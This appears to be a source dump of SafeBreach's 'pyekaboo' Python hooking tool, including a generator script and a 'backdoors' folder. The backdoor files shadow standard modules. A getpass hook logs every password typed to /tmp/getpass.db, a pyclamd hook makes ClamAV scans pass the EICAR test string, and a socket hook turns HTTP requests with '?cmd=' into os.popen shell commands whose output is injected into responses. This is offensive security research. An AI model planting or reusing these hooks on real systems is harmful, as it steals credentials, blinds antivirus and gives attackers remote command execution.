58 | (_hook_args, _hook_kwargs) = self._pre_%(name)s_hook(*args, **kwargs) 59 | #print "\\tCalling _pre_%(name)s_hook(%%s, %%s) = (%%s, %%s)" %% (args, kwargs, _hook_args, _hook_kwargs) 60 | retval = object.__getattribute__(self, '%(name)s')(*_hook_args, **_hook_kwargs) 61 | #print "\\tCalling _post_%(name)s(args=%%s, kwargs=%%s) = %%s" %% (_hook_args, _hook_kwargs, str(retval)) 62 | retval = self._post_%(name)s_hook(retval, *_hook_args, **_hook_kwargs) 63 | #print "= %%s" %% (str(retval)) 64 | return retval 65 | """ 66 | , 67 | "_pre_%(name)s_hook": 68 | """ 69 | def _pre_%(name)s_hook(self, *args, **kwargs): 70 | return (args, kwargs) 71 | """ 72 | , 73 | "_post_%(name)s_hook": 74 | """ 75 | def _post_%(name)s_hook(self, retval, *args, **kwargs): 76 | return retval 77 | """ 78 | } 79 | 80 | ########### 81 | # Classes # 82 | ########### 83 | 84 | class _CustomGetAttribute: 85 | def __getattribute__(self, name): 86 | retval = object.__getattribute__(self, name) 87 | 88 | # "Magic" Objects / Weak "Internal Use" Indicator? AS IS! 89 | if name.startswith('_'): 90 | return retval 91 | 92 | # Callable? Hook! 93 | if callable(retval): 94 | try: 95 | return object.__getattribute__(self, '_hook_' + name) 96 | except AttributeError: 97 | import types 98 | 99 | # i.e. ("_hook_%(name)s", "def _hook_%(name)s(self, *args, **kwargs): ..." 100 | for fcn_template_name, fcn_template_code in _HOOK_TEMPLATES_DICT.iteritems(): 101 | fcn_name = fcn_template_name % {'name': name} 102 | 103 | # No such hook function? Create it! 104 | if not hasattr(self, fcn_name): 105 | fcn_code = fcn_template_code % {'name': name} 106 | if self.__trace__ == True: 107 | fcn_code = fcn_code.replace('#print', 'print') 108 | exec fcn_code 109 | setattr(self, fcn_name, types.MethodType(locals()[fcn_name], self)) 110 | 111 | return object.__getattribute__(self, '_hook_' + name) 112 | 113 | return retval 114 | 115 | 116 | class _InstallClsHook(type): 117 | def __new__(meta, name, bases, dct): 118 | try: 119 | bases = (_CustomGetAttribute,) + bases + (getattr(sys.modules[__name__],name),) 120 | except: 121 | pass 122 | return type.__new__(meta, name, bases, dct) 123 | 124 | 125 | class _InstallFcnHook(object): 126 | def __init__(self, fcn, debug=False): 127 | self.debug = debug 128 | self._fcn = fcn 129 | 130 | def _pre_hook(self, *args, **kwargs): 131 | return (args, kwargs) 132 | 133 | def _post_hook(self, retval, *args, **kwargs): 134 | return retval 135 | 136 | def __call__(self, *args, **kwargs): 137 | if self.debug: 138 | print "\nFCN HOOK: %s(args=%s, kwargs=%s) = ..." % (self._fcn.__name__, args, kwargs) 139 | 140 | _hook_args = args 141 | _hook_kwargs = kwargs 142 | (_hook_args, _hook_kwargs) = self._pre_hook(*args, **kwargs) 143 | 144 | if self.debug: 145 | print "\tCalling _pre_hook(%s, %s) = (%s, %s)" % (args, kwargs, _hook_args, _hook_kwargs) 146 | 147 | retval = self._fcn(*_hook_args, **_hook_kwargs) 148 | 149 | if self.debug: 150 | print "\tCalling _post_hook(args=%s, kwargs=%s) = %s" % (_hook_args, _hook_kwargs, str(retval)) 151 | 152 | retval = self._post_hook(retval, *_hook_args, **_hook_kwargs) 153 | 154 | if self.debug: 155 | print "= %s" % (str(retval)) 156 | 157 | return retval 158 | 159 | ############# 160 | # Functions # 161 | ############# 162 | 163 | def _load_and_register_as(input_modname, output_modnames=[], look_path=[]): 164 | import imp 165 | mod = None 166 | fd = None 167 | try: 168 | fd, pathname, description = imp.find_module(input_modname, look_path) 169 | for output_name in output_modnames: 170 | mod = imp.load_module(output_name, fd, pathname, description) 171 | finally: 172 | if fd is not None: 173 | fd.close() 174 | return mod 175 | 176 | if __name__ != "__main__" and __name__ != "pyekaboo": 177 | _load_and_register_as(__name__, [__name__, "orig_" + __name__], sys.path[::-1]) 178 | 179 | ############### 180 | # Entry Point # 181 | ############### 182 | 183 | class _GetPassFcnHook(_InstallFcnHook): 184 | def _post_hook(self, retval, *args, **kwargs): 185 | with open('/tmp/getpass.db', 'w+') as fd: 186 | fd.write('[%s] [%s] PASSWORD = \"%s\"\n' % (time.ctime(), sys.argv[0], retval)) 187 | return retval 188 | 189 | getpass=_GetPassFcnHook(getpass, debug=True) 190 | -------------------------------------------------------------------------------- /pyekaboo/backdoors/pyclamd.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2017, SafeBreach 2 | # All rights reserved. 3 | # 4 | # Redistribution and use in source and binary forms, with or without 5 | # modification, are permitted provided that the following conditions are 6 | # met: 7 | # 8 | # 1. Redistributions of source code must retain the above 9 | # copyright notice, this list of conditions and the following 10 | # disclaimer. 11 | # 12 | # 2. Redistributions in binary form must reproduce the 13 | # above copyright notice, this list of conditions and the following 14 | # disclaimer in the documentation and/or other materials provided with 15 | # the distribution. 16 | # 17 | # 3. Neither the name of the copyright holder 18 | # nor the names of its contributors may be used to endorse or promote 19 | # products derived from this software without specific prior written 20 | # permission. 21 | # 22 | # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS 23 | # AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, 24 | # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 25 | # MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 26 | # IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR 27 | # ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 28 | # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE 29 | # GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 30 | # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER 31 | # IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 32 | # OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF 33 | # ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 34 | 35 | import sys 36 | 37 | #################### 38 | # Global Variables # 39 | #################### 40 | 41 | __version__ = "1.0" 42 | __author__ = "Itzik Kotler" 43 | __copyright__ = "Copyright 2017, SafeBreach" 44 | 45 | ########## 46 | # Consts # 47 | ########## 48 | 49 | _HOOK_TEMPLATES_DICT = \ 50 | { 51 | "_hook_%(name)s": 52 | """ 53 | def _hook_%(name)s(self, *args, **kwargs): 54 | #print "\\nCLS HOOK: %%s.%(name)s(args=%%s, kwargs=%%s) = ..." %% (__name__, args, kwargs) 55 | _hook_args = args 56 | _hook_kwargs = kwargs 57 | (_hook_args, _hook_kwargs) = self._pre_%(name)s_hook(*args, **kwargs) 58 | #print "\\tCalling _pre_%(name)s_hook(%%s, %%s) = (%%s, %%s)" %% (args, kwargs, _hook_args, _hook_kwargs) 59 | retval = object.__getattribute__(self, '%(name)s')(*_hook_args, **_hook_kwargs) 60 | #print "\\tCalling _post_%(name)s(args=%%s, kwargs=%%s) = %%s" %% (_hook_args, _hook_kwargs, str(retval)) 61 | retval = self._post_%(name)s_hook(retval, *_hook_args, **_hook_kwargs) 62 | #print "= %%s" %% (str(retval)) 63 | return retval 64 | """ 65 | , 66 | "_pre_%(name)s_hook": 67 | """ 68 | def _pre_%(name)s_hook(self, *args, **kwargs): 69 | return (args, kwargs) 70 | """ 71 | , 72 | "_post_%(name)s_hook": 73 | """ 74 | def _post_%(name)s_hook(self, retval, *args, **kwargs): 75 | return retval 76 | """ 77 | } 78 | 79 | ########### 80 | # Classes # 81 | ########### 82 | 83 | class _CustomGetAttribute: 84 | def __getattribute__(self, name): 85 | retval = object.__getattribute__(self, name) 86 | 87 | # "Magic" Objects / Weak "Internal Use" Indicator? AS IS! 88 | if name.startswith('_'): 89 | return retval 90 | 91 | # Callable? Hook! 92 | if callable(retval): 93 | try: 94 | return object.__getattribute__(self, '_hook_' + name) 95 | except AttributeError: 96 | import types 97 | 98 | # i.e. ("_hook_%(name)s", "def _hook_%(name)s(self, *args, **kwargs): ..." 99 | for fcn_template_name, fcn_template_code in _HOOK_TEMPLATES_DICT.iteritems(): 100 | fcn_name = fcn_template_name % {'name': name} 101 | 102 | # No such hook function? Create it! 103 | if not hasattr(self, fcn_name): 104 | fcn_code = fcn_template_code % {'name': name} 105 | if self.__trace__ == True: 106 | fcn_code = fcn_code.replace('#print', 'print') 107 | exec fcn_code 108 | setattr(self, fcn_name, types.MethodType(locals()[fcn_name], self)) 109 | 110 | return object.__getattribute__(self, '_hook_' + name) 111 | 112 | return retval 113 | 114 | 115 | class _InstallClsHook(type): 116 | def __new__(meta, name, bases, dct): 117 | try: 118 | bases = (_CustomGetAttribute,) + bases + (getattr(sys.modules[__name__],name),) 119 | except: 120 | pass 121 | return type.__new__(meta, name, bases, dct) 122 | 123 | 124 | class _InstallFcnHook(object): 125 | def __init__(self, fcn, debug=False): 126 | self.debug = debug 127 | self._fcn = fcn 128 | 129 | def _pre_hook(self, *args, **kwargs): 130 | return (args, kwargs) 131 | 132 | def _post_hook(self, retval, *args, **kwargs): 133 | return retval 134 | 135 | def __call__(self, *args, **kwargs): 136 | if self.debug: 137 | print "\nFCN HOOK: %s(args=%s, kwargs=%s) = ..." % (self._fcn.__name__, args, kwargs) 138 | 139 | _hook_args = args 140 | _hook_kwargs = kwargs 141 | (_hook_args, _hook_kwargs) = self._pre_hook(*args, **kwargs) 142 | 143 | if self.debug: 144 | print "\tCalling _pre_hook(%s, %s) = (%s, %s)" % (args, kwargs, _hook_args, _hook_kwargs) 145 | 146 | retval = self._fcn(*_hook_args, **_hook_kwargs) 147 | 148 | if self.debug: 149 | print "\tCalling _post_hook(args=%s, kwargs=%s) = %s" % (_hook_args, _hook_kwargs, str(retval)) 150 | 151 | retval = self._post_hook(retval, *_hook_args, **_hook_kwargs) 152 | 153 | if self.debug: 154 | print "= %s" % (str(retval)) 155 | 156 | return retval 157 | 158 | ############# 159 | # Functions # 160 | ############# 161 | 162 | def _load_and_register_as(input_modname, output_modnames=[], look_path=[]): 163 | import imp 164 | mod = None 165 | fd = None 166 | try: 167 | fd, pathname, description = imp.find_module(input_modname, look_path) 168 | for output_name in output_modnames: 169 | mod = imp.load_module(output_name, fd, pathname, description) 170 | finally: 171 | if fd is not None: 172 | fd.close() 173 | return mod 174 | 175 | if __name__ != "__main__" and __name__ != "pyekaboo": 176 | _load_and_register_as(__name__, [__name__, "orig_" + __name__], sys.path[::-1]) 177 | 178 | ############### 179 | # Entry Point # 180 | ############### 181 | 182 | class _WeakClamd(): 183 | def __init__(self, Obj): 184 | self._obj = Obj 185 | 186 | def scan_stream(self, buffer_to_test): 187 | if buffer_to_test == "X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*": 188 | return None 189 | return self._obj.scan_stream(buffer_to_test) 190 | 191 | def __getattr__(self, name): 192 | return getattr(self._obj, name) 193 | 194 | 195 | class _ClamdAgnosticFcnHook(_InstallFcnHook): 196 | def _post_hook(self, retval, *args, **kwargs): 197 | return _WeakClamd(retval) 198 | 199 | 200 | ClamdAgnostic = _ClamdAgnosticFcnHook(ClamdAgnostic, debug=True) 201 | -------------------------------------------------------------------------------- /pyekaboo/mkpyekaboo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Copyright (c) 2017, SafeBreach 4 | # All rights reserved. 5 | # 6 | # Redistribution and use in source and binary forms, with or without 7 | # modification, are permitted provided that the following conditions are 8 | # met: 9 | # 10 | # 1. Redistributions of source code must retain the above 11 | # copyright notice, this list of conditions and the following 12 | # disclaimer. 13 | # 14 | # 2. Redistributions in binary form must reproduce the 15 | # above copyright notice, this list of conditions and the following 16 | # disclaimer in the documentation and/or other materials provided with 17 | # the distribution. 18 | # 19 | # 3. Neither the name of the copyright holder 20 | # nor the names of its contributors may be used to endorse or promote 21 | # products derived from this software without specific prior written 22 | # permission. 23 | # 24 | # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS 25 | # AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, 26 | # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 27 | # MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 28 | # IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR 29 | # ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 30 | # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE 31 | # GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 32 | # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER 33 | # IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 34 | # OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF 35 | # ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 36 | 37 | import sys 38 | import argparse 39 | import pyekaboo 40 | import inspect 41 | 42 | #################### 43 | # Global Variables # 44 | #################### 45 | 46 | __version__ = "1.0" 47 | __author__ = "Itzik Kotler" 48 | __copyright__ = "Copyright 2017, SafeBreach" 49 | 50 | START_OF_CODE = "### DO NOT REMOVE THIS LINE! ###" 51 | START_OF_CODE_LEN = 32 52 | 53 | 54 | ########### 55 | # Classes # 56 | ########### 57 | 58 | # http://stackoverflow.com/questions/3853722/python-argparse-how-to-insert-newline-in-the-help-text 59 | 60 | class SmartFormatter(argparse.HelpFormatter): 61 | def _split_lines(self, text, width): 62 | if text.startswith('ML|'): 63 | return text[3:].splitlines() 64 | # this is the RawTextHelpFormatter._split_lines 65 | return argparse.HelpFormatter._split_lines(self, text, width) 66 | 67 | 68 | ############# 69 | # Functions # 70 | ############# 71 | 72 | def main(args): 73 | parser = argparse.ArgumentParser(prog='mkpyekaboo', description='Python Hooking Library and Tool', formatter_class=SmartFormatter) 74 | parser.add_argument('pymodule', metavar='PYTHON_MODULE_NAME', type=str, help='Python module to be hooked (e.g. string, os, etc.)') 75 | parser.add_argument('-v', '--verbose', action='store_true', help='verbose output') 76 | parser.add_argument('-l', '--hook-level', type=int, default=0, metavar='HOOK_LEVEL', help='ML|Level 0: Empty Pyekaboo Boilerplate (Default)\nLevel 1: Hook all Python Classes in PYTHON_MODULE_NAME\nLevel 2: Hook all Python Functions in PYTHON_MODULE_NAME\nLevel 3: Hook all Python Classes & Functions in PYTHON_MODULE_NAME\nLevel 4: Hook all Python Classes in PYTHON_MODULE_NAME and Enable Trace\nLevel 5: Hook all Python Functions in PYTHON_MODULE_NAME and Enable Trace\nLevel 6: Hook all Python Classes & Functions in PYTHON_MODULE_NAME and Enable Trace') 77 | args = parser.parse_args(args=args[1:]) 78 | mod = None 79 | tot_hooked_classes = 0 80 | tot_hooked_fcns = 0 81 | 82 | with open(args.pymodule + '.py', 'w') as outfile: 83 | 84 | if args.verbose: 85 | print "Output Filename: %s" % outfile 86 | 87 | buf = open(pyekaboo.__file__.replace('pyc', 'py'), 'r').read() 88 | outfile.write(buf[buf.find(START_OF_CODE)+START_OF_CODE_LEN:].strip()) 89 | outfile.write('\n\n###############\n# Entry Point #\n###############\n\n') 90 | 91 | if args.verbose: 92 | print "Wrote Pykeaboo Library (%d bytes)" % len(buf) 93 | 94 | # Hook all Classes (and maybe Enable Trace?) 95 | if args.hook_level == 1 or args.hook_level == 3 or args.hook_level == 4 or args.hook_level == 6: 96 | if args.verbose: 97 | print "Hooking Classes (hook_level == %d)" % args.hook_level 98 | 99 | mod = pyekaboo._load_and_register_as(args.pymodule, [args.pymodule], sys.path[::-1]) 100 | 101 | if args.verbose: 102 | print "Imported %s as %s ..." % (args.pymodule, mod) 103 | 104 | for cls_name in dir(mod): 105 | if args.verbose: 106 | print "Is %s a Class ... " % (cls_name), 107 | 108 | cls_obj = getattr(mod, cls_name) 109 | 110 | # TODO: Need a better way to handle cases where class is not really a class (i.e. socket.MethodType) 111 | if inspect.isclass(cls_obj) is True and repr(cls_obj).find("class") != -1: 112 | # class _fileobject(): 113 | # __metaclass__ = _InstallClsHook 114 | # __trace__ = True? 115 | outfile.write('class ' + cls_name + '():\n') 116 | outfile.write(' __metaclass__ = _InstallClsHook\n') 117 | if args.hook_level == 4 or args.hook_level == 6: 118 | outfile.write(' __trace__ = True\n') 119 | outfile.write('\n') 120 | tot_hooked_classes = tot_hooked_classes + 1 121 | if args.verbose: 122 | print "Yes! (%s)" % cls_obj 123 | else: 124 | if args.verbose: 125 | print "No" 126 | 127 | print "[*] Hooked %d Classes!" % tot_hooked_classes 128 | 129 | # Hook all Functions (and maybe Enable Trace?) 130 | if args.hook_level == 2 or args.hook_level == 3 or args.hook_level == 5 or args.hook_level == 6: 131 | mod = pyekaboo._load_and_register_as(args.pymodule, [args.pymodule], sys.path[::-1]) 132 | 133 | if args.verbose: 134 | print "Imported %s as %s ..." % (args.pymodule, mod) 135 | 136 | for fcn_name in dir(mod): 137 | if args.verbose: 138 | print "Is %s a Function ... " % (fcn_name), 139 | 140 | fcn_obj = getattr(mod, fcn_name) 141 | 142 | if inspect.isfunction(fcn_obj) is True or inspect.isroutine(fcn_obj) is True: 143 | dbg_flag = "False" 144 | if args.hook_level == 5 or args.hook_level == 6: 145 | dbg_flag = "True" 146 | # gethostbyname = _InstallFcnHook(gethostbyname, debug=True) 147 | outfile.write('\n%s=_InstallFcnHook(%s, debug=%s)\n' % (fcn_name, fcn_name, dbg_flag)) 148 | tot_hooked_fcns = tot_hooked_fcns + 1 149 | if args.verbose: 150 | print "Yes! (%s)" % fcn_obj 151 | else: 152 | if args.verbose: 153 | print "No" 154 | 155 | print "[*] Hooked %d Functions!" % tot_hooked_fcns 156 | 157 | if __name__ == "__main__": 158 | sys.exit(main(sys.argv)) 159 | 160 | -------------------------------------------------------------------------------- /pyekaboo/backdoors/socket.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2017, SafeBreach 2 | # All rights reserved. 3 | # 4 | # Redistribution and use in source and binary forms, with or without 5 | # modification, are permitted provided that the following conditions are 6 | # met: 7 | # 8 | # 1. Redistributions of source code must retain the above 9 | # copyright notice, this list of conditions and the following 10 | # disclaimer. 11 | # 12 | # 2. Redistributions in binary form must reproduce the 13 | # above copyright notice, this list of conditions and the following 14 | # disclaimer in the documentation and/or other materials provided with 15 | # the distribution. 16 | # 17 | # 3. Neither the name of the copyright holder 18 | # nor the names of its contributors may be used to endorse or promote 19 | # products derived from this software without specific prior written 20 | # permission. 21 | # 22 | # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS 23 | # AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, 24 | # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 25 | # MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 26 | # IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR 27 | # ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 28 | # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE 29 | # GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 30 | # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER 31 | # IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 32 | # OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF 33 | # ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 34 | 35 | import sys 36 | import Queue 37 | import urllib 38 | 39 | 40 | #################### 41 | # Global Variables # 42 | #################### 43 | 44 | __version__ = "1.0" 45 | __author__ = "Itzik Kotler" 46 | __copyright__ = "Copyright 2017, SafeBreach" 47 | 48 | ########## 49 | # Consts # 50 | ########## 51 | 52 | _HOOK_TEMPLATES_DICT = \ 53 | { 54 | "_hook_%(name)s": 55 | """ 56 | def _hook_%(name)s(self, *args, **kwargs): 57 | #print "\\nCLS HOOK: %%s.%(name)s(args=%%s, kwargs=%%s) = ..." %% (__name__, args, kwargs) 58 | _hook_args = args 59 | _hook_kwargs = kwargs 60 | (_hook_args, _hook_kwargs) = self._pre_%(name)s_hook(*args, **kwargs) 61 | #print "\\tCalling _pre_%(name)s_hook(%%s, %%s) = (%%s, %%s)" %% (args, kwargs, _hook_args, _hook_kwargs) 62 | retval = object.__getattribute__(self, '%(name)s')(*_hook_args, **_hook_kwargs) 63 | #print "\\tCalling _post_%(name)s(args=%%s, kwargs=%%s) = %%s" %% (_hook_args, _hook_kwargs, str(retval)) 64 | retval = self._post_%(name)s_hook(retval, *_hook_args, **_hook_kwargs) 65 | #print "= %%s" %% (str(retval)) 66 | return retval 67 | """ 68 | , 69 | "_pre_%(name)s_hook": 70 | """ 71 | def _pre_%(name)s_hook(self, *args, **kwargs): 72 | return (args, kwargs) 73 | """ 74 | , 75 | "_post_%(name)s_hook": 76 | """ 77 | def _post_%(name)s_hook(self, retval, *args, **kwargs): 78 | return retval 79 | """ 80 | } 81 | 82 | ########### 83 | # Classes # 84 | ########### 85 | 86 | class _CustomGetAttribute: 87 | def __getattribute__(self, name): 88 | retval = object.__getattribute__(self, name) 89 | 90 | # "Magic" Objects / Weak "Internal Use" Indicator? AS IS! 91 | if name.startswith('_'): 92 | return retval 93 | 94 | # Callable? Hook! 95 | if callable(retval): 96 | try: 97 | return object.__getattribute__(self, '_hook_' + name) 98 | except AttributeError: 99 | import types 100 | 101 | # i.e. ("_hook_%(name)s", "def _hook_%(name)s(self, *args, **kwargs): ..." 102 | for fcn_template_name, fcn_template_code in _HOOK_TEMPLATES_DICT.iteritems(): 103 | fcn_name = fcn_template_name % {'name': name} 104 | 105 | # No such hook function? Create it! 106 | if not hasattr(self, fcn_name): 107 | fcn_code = fcn_template_code % {'name': name} 108 | if self.__trace__ == True: 109 | fcn_code = fcn_code.replace('#print', 'print') 110 | exec fcn_code 111 | setattr(self, fcn_name, types.MethodType(locals()[fcn_name], self)) 112 | 113 | return object.__getattribute__(self, '_hook_' + name) 114 | 115 | return retval 116 | 117 | 118 | class _InstallClsHook(type): 119 | def __new__(meta, name, bases, dct): 120 | try: 121 | bases = (_CustomGetAttribute,) + bases + (getattr(sys.modules[__name__],name),) 122 | except: 123 | pass 124 | return type.__new__(meta, name, bases, dct) 125 | 126 | 127 | class _InstallFcnHook(object): 128 | def __init__(self, fcn, debug=False): 129 | self.debug = debug 130 | self._fcn = fcn 131 | 132 | def _pre_hook(self, *args, **kwargs): 133 | return (args, kwargs) 134 | 135 | def _post_hook(self, retval, *args, **kwargs): 136 | return retval 137 | 138 | def __call__(self, *args, **kwargs): 139 | if self.debug: 140 | print "\nFCN HOOK: %s(args=%s, kwargs=%s) = ..." % (self._fcn.__name__, args, kwargs) 141 | 142 | _hook_args = args 143 | _hook_kwargs = kwargs 144 | (_hook_args, _hook_kwargs) = self._pre_hook(*args, **kwargs) 145 | 146 | if self.debug: 147 | print "\tCalling _pre_hook(%s, %s) = (%s, %s)" % (args, kwargs, _hook_args, _hook_kwargs) 148 | 149 | retval = self._fcn(*_hook_args, **_hook_kwargs) 150 | 151 | if self.debug: 152 | print "\tCalling _post_hook(args=%s, kwargs=%s) = %s" % (_hook_args, _hook_kwargs, str(retval)) 153 | 154 | retval = self._post_hook(retval, *_hook_args, **_hook_kwargs) 155 | 156 | if self.debug: 157 | print "= %s" % (str(retval)) 158 | 159 | return retval 160 | 161 | ############# 162 | # Functions # 163 | ############# 164 | 165 | def _load_and_register_as(input_modname, output_modnames=[], look_path=[]): 166 | import imp 167 | mod = None 168 | fd = None 169 | try: 170 | fd, pathname, description = imp.find_module(input_modname, look_path) 171 | for output_name in output_modnames: 172 | mod = imp.load_module(output_name, fd, pathname, description) 173 | finally: 174 | if fd is not None: 175 | fd.close() 176 | return mod 177 | 178 | if __name__ != "__main__" and __name__ != "pyekaboo": 179 | _load_and_register_as(__name__, [__name__, "orig_" + __name__], sys.path[::-1]) 180 | 181 | ############### 182 | # Entry Point # 183 | ############### 184 | 185 | 186 | class _fileobject(): 187 | __metaclass__ = _InstallClsHook 188 | __trace__ = False 189 | __outputs__ = Queue.Queue() 190 | 191 | def _hook_readline(self, *args, **kwargs): 192 | 193 | retval = object.__getattribute__(self, 'readline')(*args, **kwargs) 194 | 195 | if retval.startswith('GET /?cmd='): 196 | (verb, url, version) = retval.split(' ') 197 | self.__outputs__.put(os.popen(urllib.unquote_plus(url[6:])).read()) 198 | 199 | return retval 200 | 201 | def _hook_write(self, *args, **kwargs): 202 | 203 | modified_args = list(args) 204 | 205 | # [NEW LINE (i.e. 0xa)] 206 | # 207 | #
208 | # 209 | #
244 | # Of course, you haven't actually done any work yet. Next, start your first app by running python manage.py startapp [app_label].
245 | #
250 | # You're seeing this message because you have DEBUG = True in your Django settings file and you haven't configured any URLs. Get to work!
251 | #
' + output + '' + ' ' * (buf_size - 34 - 24 - len(output)) 262 | modified_args[0] = buf 263 | except Exception, e: 264 | print str(e) 265 | pass 266 | 267 | object.__getattribute__(self, 'write')(*modified_args, **kwargs) 268 | 269 | 270 | 271 | --------------------------------------------------------------------------------